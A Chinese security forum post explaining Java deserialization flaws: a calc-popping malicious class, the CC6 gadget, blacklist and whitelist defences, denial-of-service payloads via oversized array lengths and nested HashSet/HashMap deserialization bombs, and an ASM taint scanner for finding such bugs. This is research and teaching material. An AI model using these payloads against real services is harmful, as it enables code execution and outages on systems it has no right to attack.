本帖最后由 Grav1ty 于 2022-5-2 01:29 编辑
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE(还有一些报告也许正在审核和修复中)但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向 早上和pyn3rd师傅聊天,希望写一篇DoS漏洞的分享,于是写了这篇水文,算是拒绝服务漏洞的完结篇 基础篇编写一个恶意的类 - public class EvilObj implements Serializable {
- static {
- try {
- Runtime.getRuntime().exec("calc.exe");
- } catch (IOException ignored) {
- }
- }
- }
复制代码
编写一个普通的反序列化漏洞代码,执行后会弹出计算器 - <font style="font-size: 15px">public static void main(String[] args)throws Exception {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(new EvilObj());
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
- ois.readObject();
- }
- </font><div align="left"><font color="rgb(34, 34, 34)"><font face="" "=""><font style="font-size: 15px">以</font></font></font></div>
复制代码
上的恶意类其实没有意义,因为目标系统中不会存在这样的恶意类,只有目标程序中存在该类才可以于是大家开始挖掘gadget以构造恶意类用来执行代码或命令 当我将gadget替换为CC6链后,只要目标系统包含了Commons Collections依赖则可以RCE oos.writeObject(CC6Gadget.get());
黑名单修复假设作为开发者,这时候的修复手法有两种 于是很多项目采用了黑名单的方式进行修复 - public class SafeObjectInputStream extends ObjectInputStream {
- public SafeObjectInputStream(InputStream in) throws IOException {
- super(in);
- }
- @Override
- protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
- if (desc.getName().contains("org.apache.commons.collections")) {
- return null;
- }
- return super.resolveClass(desc);
- }
- }
复制代码
这时候修改我们的漏洞代码 - ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(CC6Gadget.get());
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
- SafeObjectInputStream ois = new SafeObjectInputStream(bais);
- ois.readObject();
- <div align="left"><font color="rgb(34, 34, 34)"><font face="" "="">运行后报错:说明成功防御了Commons Collections的反序列化漏洞</font></font></div>Exception in thread "main" java.lang.ClassNotFoundException: null class<div align="left"><font color="rgb(34, 34, 34)"><font face="" "="">类似的黑名单参考:Apache OFBIZ</font></font></div><div align="left"><font color="rgb(34, 34, 34)"><font face="" "="">commit: <a href="https://github.com/apache/ofbiz-framework/commit/af9ed4e/" target="_blank">https://github.com/apache/ofbiz-framework/commit/af9ed4e/</a></font></font></div>if (className.contains("java.rmi.server")) {
- return null;
- }
复制代码
白名单修复在安全中,黑名单永远都是不安全的,因为总会有新的姿势和新的绕过,因此我们采用了白名单的方式进行修复 - public class SafeObjectInputStream extends ObjectInputStream {
- public SafeObjectInputStream(InputStream in) throws IOException {
- super(in);
- }
- @Override
- protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
- // 允许一些常用的JDK类
- if (desc.getName().startsWith("java.util.") || desc.getName().startsWith("java.lang.") ||
- // 允许一些业务需要的本地类
- desc.getName().equals("com.example.MyObject")) {
- return super.resolveClass(desc);
- } else {
- return null;
- }
- }
- }
复制代码
参考Spring-AMQP曾经防御反序列化漏洞的方式:添加类似的白名单 - static {
- SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
- }
复制代码
readObject当我们使用了这样白名单后,确实不存在RCE漏洞 但实际上存在拒绝服务漏洞的可能性 首先从本地白名单对象入手 - public class MyObject implements Serializable {
- private void readObject(ObjectInputStream s)
- throws IOException, ClassNotFoundException {
- int len = s.readInt();
- // array init
- byte[] data = new byte[len];
- // for condition
- for (int i = 0; i < len; i++) {
- // ...
- }
- // ...
- }
- }
复制代码
假设本地白名单类的readObject方法中包含了类似以上的代码,构造出以下这样的Payload即可DoS - ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(new MyObject());
- oos.flush();
- oos.writeInt(1024*1024*1024);
- oos.flush();
复制代码
readExternalSerializable序列化时不会调用默认的构造器而Externalizable序列化时会调用默认构造器 有时我们不希望序列化那么多,可以使用Externalizable接口 其中writeExternal和readExternal方法可以指定序列化哪些属性 假设某个白名单类包含了类似下方的代码,则存在拒绝服务漏洞 - public class MyObject implements Externalizable {
- public int a;
- // 必须存在空参构造
- public MyObject() {
- }
- public MyObject(int a) {
- this.a = a;
- }
- @Override
- public void writeExternal(ObjectOutput out) throws IOException {
- out.writeInt(a);
- // ...
- }
- @Override
- public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
- int length = in.readInt();
- // array init
- byte[] data = new byte[length];
- // for condition
- for (int i = 0; i < length; i++) {
- // ...
- }
- // ...
- }
- }
复制代码
构造恶意对象Payload触发 - public static void main(String[] args) throws Exception {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(new MyObject(1024 * 1024 * 1024));
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
- SafeObjectInputStream ois = new SafeObjectInputStream(bais);
- ois.readObject();
- }
复制代码
反序列化炸弹最坏的情况:如果白名单本地对象都是安全的,没有拒绝服务的可能性,还有办法吗 可以使用JDK中的反序列化炸弹实现拒绝服务漏洞 出自Effective Java的原版反序列化炸弹(原代码链接) - Set<Object> root = new HashSet<>();
- Set<Object> s1 = root;
- Set<Object> s2 = new HashSet<>();
- for(int i=0;i<100;i++){
- Set<Object> t1 = new HashSet<>();
- Set<Object> t2 = new HashSet<>();
- t1.add("foo");
- s1.add(t1);
- s1.add(t2);
- s2.add(t1);
- s2.add(t2);
- s1=t1;
- s2=t2;
- }
复制代码
使用HahsMap和也可以做到类似的效果 - // Map & HashMap
- Map<Object, Object> root = new HashMap<>();
- Map<Object, Object> s1 = root;
- Map<Object, Object> s2 = new HashMap<>();
- for (int i = 0; i < 50; i++) {
- HashMap<Object, Object> t1 = new HashMap<>();
- HashMap<Object, Object> t2 = new HashMap<>();
- t1.put("foo", "bar");
- s1.put(t1, t1);
- s1.put(t2, t2);
- s2.put(t1, t1);
- s2.put(t2, t2);
- s1 = t1;
- s2 = t2;
- }
复制代码
反序列化炸弹会得到类似的数据结构,是一个100层深的图(Graph)结构
由于本文重点不在于反序列化炸弹,所以原理不再对原理进行分析,有兴趣可以搜索得到一些结果 关于反序列化炸弹的修复:JEP290 提交给Apache OFBIZ后认为这只是潜在的漏洞,不能直接触发,修复后给予致谢但无CVE
漏洞挖掘思路有了以上的内容,对于如何挖掘这样的漏洞,应该有一些思路了 某框架曾经出现过反序列化漏洞 某框架如果采用了黑白名单的方案修复(某logic等) 确定白名单中是否包含了java.util等类,如果包含则存在反序列化炸弹(某logic的CVE-2022-21441) 扫描所有白名单中的类,是否包含readObject方法,审计其中是否有类似上文的代码 类似上一条,扫描白名单类readExternal方法(某logic的CVE-2021-2344和CVE-2021-2371等等)
如何扫描扫描主要是如何确认readExternal方法里存在数据初始化 例如扫某logic这样非开源的项目,难免要用到字节码相关的技术 大概的扫描逻辑如下 这里提到的某种规则,在之前一篇文章中有详细说明 这两种数组初始化的字节码是不同的 - int size = 10;
- byte[] a = new byte[size];
- Object[] o = new Object[size];
复制代码
对应字节码如下,可以看到分别使用NEWARRAY和ANEWARRAY指令 - BIPUSH 10
- ISTORE 1
- ...
- ILOAD 1
- NEWARRAY T_BYTE
- ...
- ILOAD 1
- ANEWARRAY java/lang/Object
复制代码
在分析时需要注意 在分析进入方法时,首先调用到visitCode方法,在这里手动给参数上污点 - @Override
- public void visitCode() {
- super.visitCode();
- int localIndex = 0;
- if ((this.access & Opcodes.ACC_STATIC) == 0) {
- localVariables.set(localIndex, "source");
- localIndex += 1;
- }
- for (Type argType : Type.getArgumentTypes(desc)) {
- localVariables.set(localIndex, "source");
- localIndex += argType.getSize();
- }
- }
复制代码
处理污点的传递(如果a是污染那么b=a.func()中的b也将是污染) - @Override
- public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
- Type[] argTypes = Type.getArgumentTypes(desc);
- if (opcode != Opcodes.INVOKESTATIC) {
- Type[] extendedArgTypes = new Type[argTypes.length + 1];
- System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
- extendedArgTypes[0] = Type.getObjectType(owner);
- argTypes = extendedArgTypes;
- }
- for (int i = 0; i < argTypes.length; i++) {
- if (operandStack.get(i).contains("source")) {
- Type returnType = Type.getReturnType(desc);
- if (returnType.getSort() != Type.VOID) {
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- operandStack.set(0, "source");
- return;
- }
- }
- }
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- }
复制代码
上面这一串代码的作用是能够处理这样的情况 - <font style="font-size: 15px">@Override
- public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
- // in参数是污点
- // 可以传递到length参数
- int length = in.readInt();
- // 这里遇到NEWARRAY指令
- // 如果length是污点则说明匹配到
- byte[] data = new byte[length];
- }
- </font><div align="left"><font color="rgb(34, 34, 34)"><font face="" "=""><font style="font-size: 15px">最终在NEWARRAY指令的操作数中判断污点(ANEWARRAY指令类似)</font></font></font></div><font style="font-size: 15px">@Override
- public void visitIntInsn(int opcode, int operand) {
- if (opcode == Opcodes.NEWARRAY) {
- if (operandStack.get(0).contains("source")) {
- if (this.name.equals("readExternal") || this.name.equals("readObject")) {
- // 发现漏洞,进行记录
- }
- }
- }
- super.visitIntInsn(opcode, operand);
- }</font>
复制代码
|